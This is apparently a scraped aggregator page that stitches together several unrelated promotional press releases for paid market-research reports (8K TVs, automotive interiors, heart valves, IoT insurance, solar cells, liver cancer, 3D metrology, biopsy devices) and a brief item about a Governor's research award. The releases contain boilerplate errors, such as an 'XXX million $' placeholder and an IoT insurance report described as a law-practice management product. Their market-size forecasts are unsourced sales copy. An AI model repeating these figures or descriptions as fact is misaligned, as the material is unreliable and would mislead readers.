Pages, figures, graphs and table of contents to analyze the situations of global 8K Ultra HD TVs Market and Assessment to 2023.Get Sample Study Papers of Global 8K Ultra HD TVs Market @The 8K Ultra HD TVs industry has also suffered a certain impact, but still maintained a relatively optimistic growth, the past four years, 8K Ultra HD TVs market size to maintain the average annual growth rate of 15 from XXX million $ in 2014 to 18700.0 million $ in 2018, Market analysts believe that in the next few years, 8K Ultra HD TVs market size will be further expanded, we expect that by 2023, The market size of the 8K Ultra HD TVs will reach 71000.0 million $.While studying the worldwide markets for 8K Ultra HD TVs industry, The report also provides details analysis of the market drivers, trends and restraints to showcase the current and future market scenario. The markets are expected to show significant growth during the forecasted period due to an increasing demand for the 8K Ultra HD TVs.According to market study, With machine learning and artificial intelligence, AI Upscaling helps to transform your content into stunning 8K for improved details and sharpened definition. Furthermore, using machine learning, the technology is able to rapidly compare the image data it is receiving with millions of picture formulas that are stored in its ever updating formula bank. It then recreates the image texture, edge definition and level of detail at a much higher resolution of up to 8K.The Samsung QLED 8K Q900Rs AI upscaling technology analyses the source video and recreates accurate information about each pixel, including the image texture, edge definition and level of detail. This allows it to upscale every detail to 8K resolution.Furthermore, The intelligent engine behind the Samsung QLED 8K Q900R automatically analyses every scene, giving you the best sound to match it. Whether its an important dialogue in your favourite movie or the biggest game of the year, youll get the most optimised sound possible. Its just like being there.8K Ultra HD TVs Market Covers Table of Contents With Segments, Key Players And Region. On the Basis of Product Type, 8K Ultra HD TVs Market is sub segmented into 65 Inch and 98 Inch. Based on Application, Market is sub segmented into Household and Commercial.Key players profiled in the 8K Ultra HD TVs Market report include: Sharp, Hisense, LG, Samsung, Konka, Changhong, SkyworthRegion segment: This report is segmented into several key regions, with sales, revenue, market share (%) and growth Rate (%) of 8K Ultra HD TVs in these regions, from 2014 to 2023 (forecast), covering: North America, Europe, Asia Pacific, Middle East & Africa and South America.Request a Discount on standard prices of this premium report @The report is a compilation of first-hand information, qualitative and quantitative assessment by industry analysts, inputs from industry experts and industry participants across the value chain. The report provides in-depth analysis of parent market trends, macro-economic indicators and governing factors along with market attractiveness as per segments. The report also maps the qualitative impact of various market factors on market segments and geographies.Report contents include1 Analysis of the 8K Ultra HD TVs Market including revenues, future growth, market outlook2 Historical data and forecast3 Regional analysis including growth estimates4 Analyzes the end user markets including growth estimates.5 Profiles on 8K Ultra HD TVs including products, sales/revenues, and market position6 Market structure, market drivers and restraints.About usBusinessindustryReports.com is digital database of comprehensive market reports for global industries. As a market research company, we take pride in equipping our clients with insights and data that holds the power to truly make a difference to their business. Our mission is singular and well-defined we want to help our clients envisage their business environment so that they are able to make informed, strategic and therefore successful decisions for themselves.Media ContactBusiness Industry ReportsPune Indiasales@businessindustryreports.com+19376349940 Automotive Interior Parts Sales Market is Likely to Witness huge Growth - Major Key Players are Lear Corporation, Toyota Boshoku Corporation, Faurecia S.A., Grammer AG, Adient PLC, Grupo Antolin Irausa, S.A. Automotive Interior Parts Sales Market https://www.upmarketresearch.com/home/requested_sample/110601 https://www.upmarketresearch.com/home/enquiry_before_buying/110601 https://www.upmarketresearch.com/home/requested_sample/110601 https://www.upmarketresearch.com/home/request_for_discount/110601 www.upmarketresearch.com Up Market Research published a new business report on Automotive Interior Parts Sales Market. Report provides a comprehensive analysis by key players and regions. This report also displays the forecast till 2025 production, consumption, revenue, gross margin, cost, market share, types, applications, and market influencing factors.Get Exclusive Free Sample Copy Of This Report @The report contains 119 pages which highly exhibit on current market analysis scenario, upcoming as well as future opportunities, revenue growth, pricing and profitability.Automotive Interior Parts Sales Market research report delivers a close watch on leading competitors with strategic analysis, micro and macro market trend and scenarios, pricing analysis and a holistic overview of the market situations in the forecast period. It is a professional and a detailed report focusing on primary and secondary drivers, market share, leading segments and geographical analysis. Further, key players, major collaborations, merger & acquisitions along with trending innovation and business policies are reviewed in the report. The report contains basic, secondary and advanced information pertaining to the Automotive Interior Parts Sales Market global status and trend, market size, share, growth, trends analysis, segment and forecasts from 20192025.The scope of the report extends from market scenarios to comparative pricing between major players, cost and profit of the specified market regions. The statistics are represented in graphical format for a clear understanding on facts and figures.For More Information On This Report, Please VisitThe generated report is firmly based on primary research, interviews with top executives, news sources and information insiders. Secondary research techniques are implemented for better understanding and clarity for data analysis.The report for Automotive Interior Parts Sales Market analysis & forecast 2019-2025 is segmented into Product Segment, Application Segment & Major players.Global Automotive Interior Parts Sales Market Segmentation Includes:Region-wise Analysis covers:North AmericaEuropeChinaJapanIndiaSoutheast AsiaOther regions (Central & South America, Middle East & Africa)The Major players include:Lear CorporationToyota Boshoku CorporationFaurecia S.A.Grammer AGAdient PLCGrupo Antolin IrausaS.A.Seiren Co., LtdSage Automotive InteriorsAcme Mills CompanyMartur Automotive Seating SystemsHaartz CorporationBorgers Se & Co. KGaAProduct Type Analysis:Automotive TextilesLeatherPlasticsSmart FabricsSynthetic LeatherThermoplastic PolymersApplication Analysis:Passenger CarsCommercial VehiclesGet Exclusive Free Sample Copy Of This Report @Automotive Interior Parts Sales Market Analysis and Forecast 2019-2025 report helps the clients to take business decisions and to understand strategies of major players in the industry. The report also calls for market- driven results deriving feasibility studies for client needs. UpMarketResearch ensures qualified and verifiable aspects of market data operating in the real- time scenario. The analytical studies are conducted ensuring client needs with a thorough understanding of market capacities in the real- time scenario.Key Reasons to Purchase:- To gain insightful analysis of the market and have a comprehensive understanding of the Global Automotive Interior Parts Sales Market and its commercial landscape.- Learn about the market strategies that are being adopted by your competitors and leading organizations.- To understand the future outlook and prospects for Automotive Interior Parts Sales Market analysis and forecast 2019-2025.Avail Discount On This Report @Customization of the Report:UpMarketResearch provides free customization of reports as per your need. This report can be personalized to meet your requirements. Get in touch with our sales team, who will guarantee you to get a report that suits your necessities.About UpMarketResearch:The UpMarketResearch () is a leading distributor of market research report with more than 800+ global clients. As a market research company, we take pride in equipping our clients with insights and data that holds the power to truly make a difference to their business. Our mission is singular and well- defined we want to help our clients envisage their business environment so that they are able to make informed, strategic and therefore successful decisions for themselves.Contact Info:Name: Alex MathewsEmail: Alex@upmarketresearch.comOrganization: UpMarketResearchAddress: 500 East E Street, Ontario, CA 91764, United States. What's driving the Transcatheter Heart Valve Replacement Market trends? Abbott, Medtronic Plc and Edwards Lifesciences. Other notable participants include JC Medical, Thubrikar Aortic Valve Inc Transcatheter Heart Valve Replacement Market https://www.marketstudyreport.com/request-a-sample/1862865?utm_source=openpr.com&utm_medium=Abhijeet https://www.marketstudyreport.com/check-for-discount/1862865?utm_source=openpr.com&utm_medium=Abhijeet https://www.marketstudyreport.com/securecheckout/paymenta/1862865?msfpaycode=sumsf?utm_source=openpr.com&utm_medium=Abhijeet https://www.marketstudyreport.com https://www.marketstudyreport.com/blog A detailed study on Transcatheter Heart Valve Replacement market formulated by Market Study Report, LLC, puts together a concise analysis of the growth factors impacting the current business scenario across assorted regions. Significant information pertaining to the industrys size, share, application, and statistics are also summed in the report in order to present an ensemble prediction. In addition, this report undertakes an accurate competitive analysis illustrating the status of market majors in the projection timeline, while including their expansion strategies and portfolio.Transcatheter Heart Valve Replacement Market will exceed USD 10.5 billion by 2025; as per a new research report. Growing number of patients suffering from valvular diseases will boost industry growth worldwide. As per, American heart association, valvular heart diseases are most common among the geriatric population as they are more prone to cardiovascular and other chronic diseases.Request a sample of this premium report atAdditionally, Rise in venture capital investments for transcatheter Heart Valve devices by major players like Abbott and Medtronic will be one of the major factors responsible for the market growth in the near future. Hence, the aforementioned reasons are major cause of transcatheter heart valve market growth.Currently, high cost associated with the transcatheter heart valve devices in developing and under-developed countries has resulted in inadequate installation of heart valves in healthcare facilities. During the forecast period, many countries will continue to face this shortcoming; thus, experience negligible market growth. Moreover, lack of awareness about the latest technological innovations among individuals will restrain the growth of the market.Transcatheter aortic valve market is forecasted to grow at a lucrative CAGR of 9.6% over the estimation period. Transcatheter aortic valves are most widely used across geographies; the need of using these system in severe aortic stenosis fuels market growth of the same. Moreover, increasing prevalence of aortic stenosis in the developing countries have resulted in higher market share.The transaortic surgical approach market was valued around USD 312.7 million in the year 2018. It is estimated that the transaortic surgical approaches will witness substantial demand as it involves minimally invasive procedures compared to complicated open heart surgeries in the treatment of aortic valve stenosis. Hence, above mentioned factors will drive the demand for the product in the upcoming years.The application of transcatheter heart valve in aortic valvular diseases is estimated to grow at 9.9% over the forecast timer period. Aortic valvular disease is estimated to rise in the coming years due increasing prevalence of health issues such as high blood pressure, cardiac arrest etc. Another reason for the growth of aortic valvular disease is the growing trend of tobacco intake. Hence, the increasing prevalence of cardiac issues coupled with increasing habit tobacco intake will assist in the growth of the transcatheter heart valve replacement market at significant CAGR over the forecast period.The sale and use of transcatheter heart valve in hospitals was valued around USD 2,513.8 million in the year 2018. Hospitals are emerging as one of the preferred healthcare settings for transcatheter heart valve replacement procedures in many countries across the globe. Increasing popularity of this setting in developed countries will strongly drive demand of transcatheter heart valves. Thus, augmenting the growth of the market.U.S. transcatheter heart valve replacement market was valued around USD 1,711.4 million in the year 2018 and will witness a substantial growth in the the forecast period. This is due to the continuous development of innovative technology in the field of cardiology. As well as rise in geriatric population in U.S is another reason fueling the market growth during the projection years.India transcatheter heart valve market will experience a considerable growth at 18.0% in the forecast period.The region offers lucrative growth opportunity owing to the unmet needs in large addressable geographical market. Countrys improving healthcare indicators and high prevalence of cardiac diseases among the population should propel industry growth over the forecast period.Industry players having a strong hold in the market include Abbott, Medtronic Plc and Edwards Lifesciences. Other notable participants include JC Medical, Thubrikar Aortic Valve Inc, and CryoLife, Inc etc. Their market expansion strategies include strategic alliance and introduction of devices in emerging economies, that enables them to cater to unmet needs and expand revenue sources.Request a discount on standard prices of this premium report atReport ContentChapter 1. MethodologyChapter 2. Executive SummaryChapter 3. Transcatheter Heart Valve Replacement Industry InsightsChapter 4. Transcatheter Heart Valve Replacement Market, By ProductChapter 5. Transcatheter Heart Valve Replacement Market, By Surgical approachChapter 6. Transcatheter Heart Valve Replacement Market, By ApplicationChapter 7. Transcatheter Heart Valve Replacement Market, By End-useChapter 8. Transcatheter Heart Valve Replacement Market, By RegionChapter 9. Company Profiles9.1. 4C Medical Technologies9.2. Abbott9.3. Boston Scientific9.5. HighLife Medical9.7. LivaNova9.9. Meril Life Sciences9.10. Micro Interventional Devices9.11. NeovascPurchase full report of Transcatheter Heart Valve Replacement Market at:About Us:Marketstudyreport.com allows you to manage and control all corporate research purchases to consolidate billing and vendor management. You can eliminate duplicate purchases and customize your content and license management.Contact Us:Market Study Report LLC4 North Main Street,Selbyville, Delaware 19975USAPhone: 1-302-273-0910US Toll Free: 1-866-764-2150Email: sales@marketstudyreport.comWebsite:Blog: Global Internet of Things (IoT) Insurance Market to 2023| Competitors, Business Strategy and Key Players Analysis- IBM Corporation (U.S.), Accenture (Ireland), Cognizant (U.S.), Oracle Corporation (U.S), Zonoff Inc (U.S.), LexisNexis (U.S.) https://www.qurateresearch.com/report/sample/ICT/QBI-LPI-ICT-132750 https://www.qurateresearch.com/report/enquiry/ICT/QBI-LPI-ICT-132750 https://www.qurateresearch.com/report/buy/ICT/QBI-LPI-ICT-132750/ https://www.qurateresearch.com/ Recent Research and the Current Scenario as well as Future Market Potential of "Internet of Things (IoT) Insurance Market in Global Industry: Market Development, Analysis and Overview 2019 "globally.Internet of Things (IoT) Insurance is a comprehensive market research report featuring all the essential elements of a quality Law Practice Management Solution. The Internet of Things (IoT) Insurance report revolves around the Case, Client, and Contacts databases as well.Owing to rapid pace of growth, many companies have entered Internet of Things (IoT) Insurance Market in recent past. However, only few are identified as key players by report. Analysis of these key players includes company profile, business overview, recent developments and more.Get Free Sample for more Professional and Technical insights @The key manufacturers covered in this report:IBM Corporation (U.S.)Accenture (Ireland)Cognizant (U.S.)Oracle Corporation (U.S)Zonoff Inc (U.S.)Capgemini (France)SAP SE (Germany)LexisNexis (U.S.)Lemonade Inc (U.S.)Hippo Insurance (U.S.)Development policies and plans are also conversed. The Internet of Things (IoT) Insurance Market report shares business intelligence of optimal quality in relation with manufacturing processes and cost structures as well. This report also distributes insights and information relating to major impactful factors such as import/export, supply chain, consumption figures as well as cost, price, revenue and gross margin.While talking about Internet of Things (IoT) Insurance Markets competitive dashboard, the report sheds bright light on recent strategic developments in the market.The study evaluates each of the key players of the industry on the basis of numerous parameters such as company profiles, past performance, business overview, service/product portfolio, market share, financial capabilities and more. This might help readers including stakeholder, consultants, investors, venture capitalists, buyers, suppliers, distributors and others too in gathering reliable information regarding competitors of the Internet of Things (IoT) Insurance Market.Make an Enquiry About this Report:Segmentation by product type:Health InsuranceProperty and Causality InsuranceLife InsuranceSegmentation by application:Automotive & TransportTravelHealthcareHome and Commercial BuildingsAgricultureMarket Segment by Regions, regional analysis covers: North America (United States, Canada and Mexico) Europe (Germany, UK, France, Italy, Russia, Spain and Benelux) Asia Pacific (China, Japan, India, Southeast Asia and Australia) Latin America (Brazil, Argentina and Colombia) Middle East and AfricaGlobal Internet of Things (IoT) Insurance Market report has been developed through thorough primary research and credible secondary research as well as information sources. The report also features qualitative and quantitative examination by analysing data gathered from industry analysts and market participants across significant points in the industrys value chain. To conclude, the study related to Internet of Things (IoT) Insurance Market enlists estimations and forecasts derived by team of expert analysts with the help of analytical methodology, historic data figures and wholistic perspective.Directly Purchase Report:Table of Contents:Global Internet of Things (IoT) Insurance Market Research Report 2019Chapter 1: Industry OverviewChapter 2: Global Internet of Things (IoT) Insurance Market International and China Market AnalysisChapter 3: Environment Analysis of Global Internet of Things (IoT) Insurance MarketChapter 4: Analysis of Revenue by ClassificationsChapter 5: Analysis of Revenue by Regions and ApplicationsChapter 6: Analysis of Internet of Things (IoT) Insurance Revenue Market StatusChapter 7: Analysis of Internet of Things (IoT) Insurance Industry Key ManufacturersChapter 8: Sales Price and Gross Margin AnalysisChapter 9: Marketing Trader or Distributor Analysis of Global Internet of Things (IoT) Insurance MarketChapter 10: Development Trend of Internet of Things (IoT) Insurance Industry 2019Chapter 11: Industry Chain Suppliers of Internet of Things (IoT) Insurance with Contact InformationChapter 12: New Project Investment Feasibility Analysis of Internet of Things (IoT) Insurance MarketChapter 13: Conclusion of the Global Internet of Things (IoT) Insurance Market Research ReportAbout Us:Qurate Business Intelligence delivers unique market research solutions to its customers and help them to get equipped with refined information and market insights derived from reports. We are committed to providing best business services and easy processes to get the same. Qurate Business Intelligence considers themselves as strategic partners of their customers and always shows the keen level of interest to deliver quality.Runwal Platinum,Ramnagar Colony, Bavdhan,Pune, Maharashtra, India-411021IN +919881074592info@qurateresearch.com By 2024, Photovoltaic cell market to reach $100bn | By Key players Tata Power Solar Systems, Canadian Solar, First Solar, SolarWorld, Jinko Solar, Trina Solar, Yingli Solar https://www.gminsights.com/request-sample/detail/304 https://www.gminsights.com/inquiry-before-buying/304 https://www.gminsights.com/industry-analysis/solar-cells-market https://www.gminsights.com http://solutionrocket.com China accounted for over 45% of the global photovoltaic cell market share in 2015. Rising investment in the photovoltaic industry along with tax credits, soft loans, and other special grants by the government will stimulate the business outlook. According to the Ministry of Industry and Information Technology, photovoltaic industry has witnessed record investment of USD 12.3 billion in 2015.Request for a sample of this research report @The U.S. in 2015 was valued over USD 4 billion and is anticipated to expand over 14% owing to increasing utility scale installation. Government measures towards energy efficiency and carbon emission reduction will further complement the U.S. photovoltaic cell market growth. As per the Solar Energy Association, the solar industry in the U.S. installed 7,286 MW of solar photovoltaics in 2015 where the utility-scale sector represented more than 50% of the total solar PV installation.Company profiled in this report based on Business overview, Financial data, Product landscape, Strategic outlook & SWOT analysis: Mitsubishi Electric Corporation Jinko Solar Trina Solar Canadian Solar First Solar Moser Baer India Ltd Yingli Solar SunPower Corporation Sunedison, Inc. Indosolar Tata Power Solar Systems Ltd. GreenBrilliance. SolarWorldRising demand for the decentralized generation systems in developing nations will enhance the penetration of the sustainable energy during the forecast period. Increasing investment towards rural electrification in off-grid locations in various countries including India, China, and Africa will fuel the photovoltaic cell market growth. In September 2015, African Development Bank (AfDB) approved USD 121 million loan and grant for the electricity expansion of rural households in Uganda.Make an inquiry for purchasing this report @Government initiatives towards conservation of energy coupled with ambitious targets to reduce carbon emission will further propel the photovoltaic cell market. In June 2015, Government of India has set revised solar mission target at 100 GW by 2022. As per the Ministry of New and Renewable Energy (MNRE), an estimated total investment of USD 94 billion is expected for upgradation to 100 GW solar power capacity. International Finance Corporation and World bank have also introduced programs including Lighting Africa with an aim to encourage the adoption of photovoltaic over conventional product source among off grid population.Ultra-thin film cells technology was valued over USD 3 million in 2015 and is anticipated to expand over 30% by 2024 in terms of volume. Higher efficiency and light weight compared to other alternate technology will positively encourage the industry landscape.Global Photovoltaic cell market is expected to grow at over 12% to surpass USD 100 billion by 2024. Increasing inclination towards sustainable energy adoption will stimulate the global photovoltaic cell market share over the forecast timeframe. Rising demand for off grid electricity along with reducing photovoltaic component cost will propel the industry landscape. As per the World Energy Outlook 2016, around 1.2 billion people in the world have no access to electricity.Browse Full Report:Key participants in the photovoltaic cell market include Jinko, Sunedison, Canadian, Trina, Yingli, First Solar, Moser Baer, SunPower Corporation, GreenBrilliance, Indosolar, Tata Power, Solar World, and Mitsubishi Electric Corporation.About Global Market Insights:Global Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology.Contact Us:Arun HegdeCorporate Sales, USAGlobal Market Insights, Inc.Phone: 1-302-846-7766Toll Free: 1-888-689-0688Email: sales@gminsights.comWeb:Blog: Governor Baby Rani Maurya presented the Governor Award-2018 for best researcher at Raj Bhawan on Thursday. This year, first, second and third prizes were awarded in science and technology research. Dr Anuj Nehra of UTU was awarded first prize for developing rapid HIV serum testing kit based on Graphene Oxide Polycarbonate Track. This research work also got indo-US patent. Anil Kumar of G B Pant University of Agriculture and Technology got the second prize for the research work in the Alterrnaria Blight disease in Brassica species. Komal of Doon University was awarded third prize for the research work in fuzzy lambda technique. The Governor announced that two more awards would be added from next year for research work in social sciences and local languages. She said that quality and original research work is biggest standard of prestige of any university. Research work and studies should be done in the universities to resolve the various problems and challenges of society. Promoting the original research work and benefiting the society through research work is motive behind these awards, she said. Maurya further said that in the context of Uttarakhand State, the research work should be focused on economical development of mountainous regions, tourism, disaster management, Yoga, Ayurveda and medicinal herbs. Latin America Liver Cancer Market 2019 Overview, Competitive Analysis and Development by Companies https://marketprognosis.com/sample-request/19846 https://marketprognosis.com/discount-request/19846 https://marketprognosis.com/enquiry/19846 The Latin American liver cancer market is expected to register a CAGR of nearly 7.4% during the forecast period.Changes in the current lifestyle of individuals have led to the exposure of a large amount of population to the risk factors that contribute to liver cancer. The risk factors include hepatitis (caused by either the hepatitis B or hepatitis C virus), type-2 diabetes, metabolic disorders, excess body weight, alcohol consumption, and tobacco smoking. It has also been observed that liver cancer risk increases substantially with the increase in ones body mass index (BMI).Detailed Sample Copy of Updated Analysis @Note: If this link doesnt work in Internet Explorer, kindly try copy pasting it in other browsers.According to the OECD Obesity Update 2017, obesity levels are particularly high in Latin American countries for example in Mexico, 32.4% of males aged 15 years and over are obese as of 2017, and nearly 39% of the population is projected to become obese by 2030.Top Players:The Latin American liver cancer market is consolidated with some major players controlling the major share of the market, especially in the diagnostics space. Liver cancer diagnostics are majorly dependent on high-cost diagnostic imaging modalities, such as MRI, CT, and PET scanners. There are few major players in the global market, and due to the low volume of demand in Latin American countries, the concentration of medical device manufacturers is even lower. In the Latin American therapeutic space, several niche players operate and various clinical trials are underway.Request Discount on this report @Note: If this link doesnt work in Internet Explorer, kindly try copy pasting it in other browsers.Scope of the ReportThe scope of the Latin American liver cancer market encompasses various diagnostic modalities used in the diagnosis and imaging of liver cancer and available therapies used in the management of liver cancer. Diagnostic modalities include ultrasound scans, biopsy, endoscopy, CT scan, PET scan, and magnetic resonance imaging (MRI) scans, among others. Therapeutic categories covered in the report include targeted therapy, radiation therapy, immunotherapy, and chemotherapy.By Cancer Type Hepatocellular Carcinoma Hold the Largest ShareHepatocellular carcinoma is the most common form of liver cancer, which mostly occurs in people suffering from chronic liver disease, like cirrhosis. Hepatocellular carcinoma is one of the major causes leading to cancer-related deaths, globally. It is observed that the developing countries of the Latin American region have higher incidence rates of hepatocellular carcinoma than the developed countries, due to the disparity in the major risk factors, such as hepatitis C virus (HCV) and hepatitis B virus (HBV) infections, causing hepatocellular carcinoma in those regions. With the increase in the incidence of hepatocellular carcinoma, liver cancer therapeutics is expected to have huge demand. Hence, the rising incidence of cancer and high unmet medical needs are the major factors driving the market in the forecast period.Enquiry Before Buying @Note: If this link doesnt work in Internet Explorer, kindly try copy pasting it in other browsers.About Market PrognosisWe at Market Prognosis believe in giving a crystal clear view of market dynamics for achieving success in todays complex and competitive marketplace through our quantitative & qualitative research methods.We help our clients identify the best market insights and analysis required for their business thus enabling them to take strategic and intelligent decision.We believe in delivering actionable insights for your business growth and success.Contact us:ProgMark Pvt Ltd,Thane - 421501India.Contact No: +1 973 241 5193Email: sales@marketprognosis.com CAGR 7.6% of Global 3D Metrology Market Forecast by 2025 | Leading players: Basler AG, Olympus Corporation, Zetec, Inc., Mitutoyo America C, GOM, Creaform, 3D Digital Corp, Perceptron, 3D Systems Inc. Global 3D Metrology Market https://databridgemarketresearch.com/request-a-sample/?dbmr=global-3d-metrology-market https://databridgemarketresearch.com/toc/?dbmr=global-3d-metrology-market https://databridgemarketresearch.com/speak-to-analyst/?dbmr=global-3d-metrology-market This GLOBAL 3D METROLOGY MARKET report surely gives clients the knowledge and insights about the new regulatory environment which suits to their organization. A proficient team works meticulously with their potential capabilities to generate this finest market research report. The report focuses on many aspects related to industry and market. With the utilization of well-established tools and techniques in this report to turn complex market insights into simpler version, this GLOBAL 3D METROLOGY MARKET report additionally encompasses predictions utilizing a practical arrangement of uncertainties and techniques. An expert team analyses and forecasts this market data using well established market statistical and coherent models.It includes major manufacturers, suppliers, distributors, traders, customers, investors, major types, and major applications. The Global 3D Metrology Market report also puts light on the various inhibitors as well as motivators of the product market in both quantitative and qualitative manner so that users get precise information. While preparing report, we have explored markets on the local, regional as well as global level. Moreover, for the clear and better understanding of facts and figures, the data is represented in the form of graphs, tables, and charts. Market research reports are very much essential in many ways to grow your business and thrive in the market.FREE | Get a Copy of Sample Report Now! @Market Analysis:The Global 3D Metrology Market accounted for USD 11.30 billion in 2017 and is projected to grow at a CAGR of 7.6% during the forecast period of 2018 to 2025.The upcoming market report contains data for historic years 2016, the base year of calculation is 2017 and the forecast period is 2018 to 2025.Major Market Competitors:Top players operating in the market consist of-FARO Technologies, Inc., HEXAGON, Nikon, MISTRAS Group, Inc., Carl Zeiss, Basler AG, Olympus Corporation, Zetec, Inc.,Mitutoyo America C, GOM, Creaform , 3D Digital Corp, Perceptron, 3D Systems Inc., Zebicon, Zygo, SHINING 3D TECH. Among others.Market Definition: Global 3D Metrology Market3D metrology is required in the automotive industry for inspection, measurement, and quality checking of various components. The automotive industry has been increasingly using optical measurement systems and CMMs, instead of conventional strain gauges, accelerometers, transducers, and extensometers for improving the safety and comfort level of a vehicle. The increasing involvement of companies into mergers, acquisitions, and alliances, rising number of product launches, and the accelerated research and development activities are expected to raise the potential market.For instance, In February 2018, InnovMetric Software Inc. acquired Prefixa Vision Systems, a Mexican metrology software provider. With this acquisition, InnovMetric, a leading 3D metrology solution provider, is looking to expand their capabilities with the support of local expertise in the form of Prefixa. In February 2018, Safran Landing Systems, a leading designer and manufacturer of landing gear systems, deployed robotic inspection system to do metrology checking of their products.Major Market Drivers and Restraints: The highly accurate inspection owing to 3D data for modelling Growing IoT market Inability of traditional measurement devices to address many manufacturing issues Growing quality requirement in industrial products Emerging high tech robots serviceable in automation, energy harvesting, and semiconductor wafer inspectionTable of Contents:1. Introduction2. Market Segmentation3. Market Overview4. Executive Summary5. Premium Insights6. Global, By Component7. Product Type8. Delivery9. Industry Type10. Geography10.1. Overview10.2. North America10.3. Europe10.4. Asia-Pacific10.5. South America10.6. Middle East & Africa11. Company Landscape12. Company Profiles13. Related ReportsFREE | Request For TOC@Market Segmentation:The global 3D metrology market is segmented based on offering, product, application, end-user and geographical segments.Based on offering, the market is segmented into hardware, software and services.On the basis of product, the market is segmented into (Portable CMM- Bridge CMM, Gantry CMM, horizontal arm CMM, cantilever CMM, fixed CMM, articulated arm CMM, optical digitizer & scanner (ODS), 3d laser scanner, structured light scanner, laser tracker ,video measuring machine (VMM) ,measuring microscope , multisensor measuring system and automated optical inspectionOn the basis of application the market is segmented into automotive, aerospace, construction, power and medical.On the basis of end-user the market is segmented into aerospace & defense, aircraft components, defense, space exploration, automotive design & styling, pilot plant metrology, automotive component inspection, architecture & construction , medical, orthopaedics & prosthetics, medical devices, turbines (gas, wind, hydro), geospatial and others.Based on geography, the global 3D metrology market report covers data points for 28 countries across multiple geographies such as North America, South America, Europe, Asia-Pacific and Middle East & Africa. Some of the major countries covered in this report are U.S., Canada, Germany, France, U.K., Netherlands, Switzerland, Turkey, Russia, China, India, South Korea, Japan, Australia, Singapore, Saudi Arabia, South Africa, and Brazil among others.Report Scope1. Market drivers and restrains2. Key trends of the market3. Challenges of market growth4. Major players in the market5. CAGR values for the forecast period and historic yearsCompetitive Landscape:The global 3D metrology market is consolidated due to the presence of limited number of players concentrated in few countries. These major players have adopted various organic as well as inorganic growth strategies such as mergers & acquisitions, new product launches, expansions, agreements, joint ventures, partnerships, and others to strengthen their position in this market.FREE | Speak to Analyst and Get Free Customized Information about Report @About Us:Data Bridge Market Research set forth itself as an unconventional and neoteric Market research and consulting firm with an unparalleled level of resilience and integrated approaches. We are determined to unearth the best market opportunities and foster efficient information for your business to thrive in the market. Data Bridge endeavors to provide appropriate solutions to complex business challenges and initiates an effortless decision-making process.Contact Us-Data Bridge Market ResearchUS: +1-888-387-2818Email: sopan.gedam@databridgemarketresearch.com Biopsy Devices Market Became a Highly Profitable Industry: Revenue Analysis and Industry Forecast, 2017-2023 Biopsy Devices Market https://www.alliedmarketresearch.com/request-sample/1424 https://www.alliedmarketresearch.com/purchase-enquiry/1424 https://www.alliedmarketresearch.com/press-release/biopsy-devices-market.html www.alliedmarketresearch.com Biopsy Devices Market was valued at $1,621 million, and is expected to reach $2,399 million by 2022, supported by a CAGR of 5.8%. Biopsy is the surgical removal of tissue from an organ to determine the presence or extent of a disease, mostly cancerous and inflammatory conditions. Increasing incidences of cancer such as breast, prostate, & lung, and rapid technological advancements have been stimulating the growth of the biopsy devices market.Breast biopsy application segment is expected to continue to lead the market because of increased incidences and mortality rates of breast cancer. Moreover, initiatives by various government bodies to spread the awareness about breast cancer is expected to supplement the growth of the breast biopsy devices market. Breast biopsy is followed by liver & bile duct biopsy, which is the second highest revenue-generating application segment globally.Download Report Sample @Biopsy devices market isowing to increase in several types of cancer such, as breast, prostate, & lung, and rapid technological advancements in the field of diagnostics. The emerging economies have witnessed an upsurge in the prevalence of chronic diseases due to increase in the aged population and change in lifestyles. The Emergence of novel biopsy techniques and advanced integrated imaging technology, such as MRI, CT, ultrasound scan, and others, are expected to supplement the diagnosis of chronic diseases namely, cancer using biopsy procedures. However, high cost associated with advanced biopsy technologies may restrict the market growth.Key Findings of Biopsy Devices Market: CT-guided biopsy segment is anticipated to grow at the highest CAGR of 6.3% during the forecast period. The diagnostic centers would continue to lead the revenue generating end use segment by garnering around half of the share in the overall market. Lung biopsy is projected to be the fastest growing application segment, registering a CAGR of 7.0%. The robotic guidance system segment is expected to register the highest CAGR of 7.0%. The Asia-Pacific region is projected to be the fastest growing market, with a CAGR of 7.2%. Hospitals are projected be the fastest growing end use segment, owing to increase in integration of diagnostic facilities within the premises.North America was the highest revenue generating region due to rise in incidences of chronic diseases in 2015. North America and Europe, collectively, accounted for more than three-fourths of the overall market in 2015; this trend is likely to continue over the forecast period. Factors that drive the growth of biopsy devices in the developed regions are awareness about cancer diagnosis, high purchasing power, and availability of skilled personnel to perform biopsy procedures.The key companies profiled in the report are C.R. Bard, Inc., Leica Biosystems, Hologic, Inc., Becton, Dickinson and Company, Ethicon EndoSurgery Inc., Fujifilm Medical Systems, Veran Medical Technologies, Boston Scientific Corporation, MDxHealth, Mauna Kea Technologies, Cook Medical, Inc., Medtronic, Argon Medical Devices, Inc, Intact Medical Corp., and others.Get More Details @Table Of ContentChapter: 1 INTRODUCTION1.1 Report description1.2 Key benefits1.3 Key market segments1.4 Research methodology1.4.1 Secondary research1.4.2 Primary research1.4.3 Analyst tools and modelsChapter: 2 EXECUTIVE SUMMARY2.1 CXO perspective2.2 Market beyond: what to expect by 20252.2.1 Moderate growth scenario2.2.2 Rapid growth scenario2.2.3 Diminishing growth scenarioChapter: 3 BIOPSY DEVICE MARKET OVERVIEW3.1 Market definition and scope3.2 Market Dynamics3.2.1 Top impacting factors3.2.2 Drivers3.2.3 Restrains3.2.4 Top winning strategies3.3 Porters Five Forces analysis3.3.1 Fewer suppliers lead to higher bargaining power of suppliers3.3.2 Higher concentration of buyers leads to low bargaining power3.3.3 High threat of substitutes due to presence of minimal invasive diagnostic procedures3.3.4 Low threat of new entrants due to high capital investment3.3.5 Moderate competitive rivalry3.4 Value chain analysis3.4.1 Research and product development3.4.2 Product testing3.4.3 Manufacturing3.4.4 End users3.5 Regulatory norms3.5.1 Regulatory issues of gastroenterology and urology biopsy devices in North America3.5.2 Regulatory Scenario for breast biopsy in European Union3.6 Reimbursement scenario3.6.1 Reimbursement for Breast Cancer Screening in the U.S.3.6.2 Reimbursement for Breast Reconstruction or Prosthesis3.7 Patent analysis3.7.1 The U.S.: Patent analysis, by market participants3.7.2 Europe: Patent analysis, by market participant3.7.3 Japan: Patent analysis, by market participantsAccess Full Summery @About usAllied Market Research, a market research and advisory company of Allied Analytics LLP, 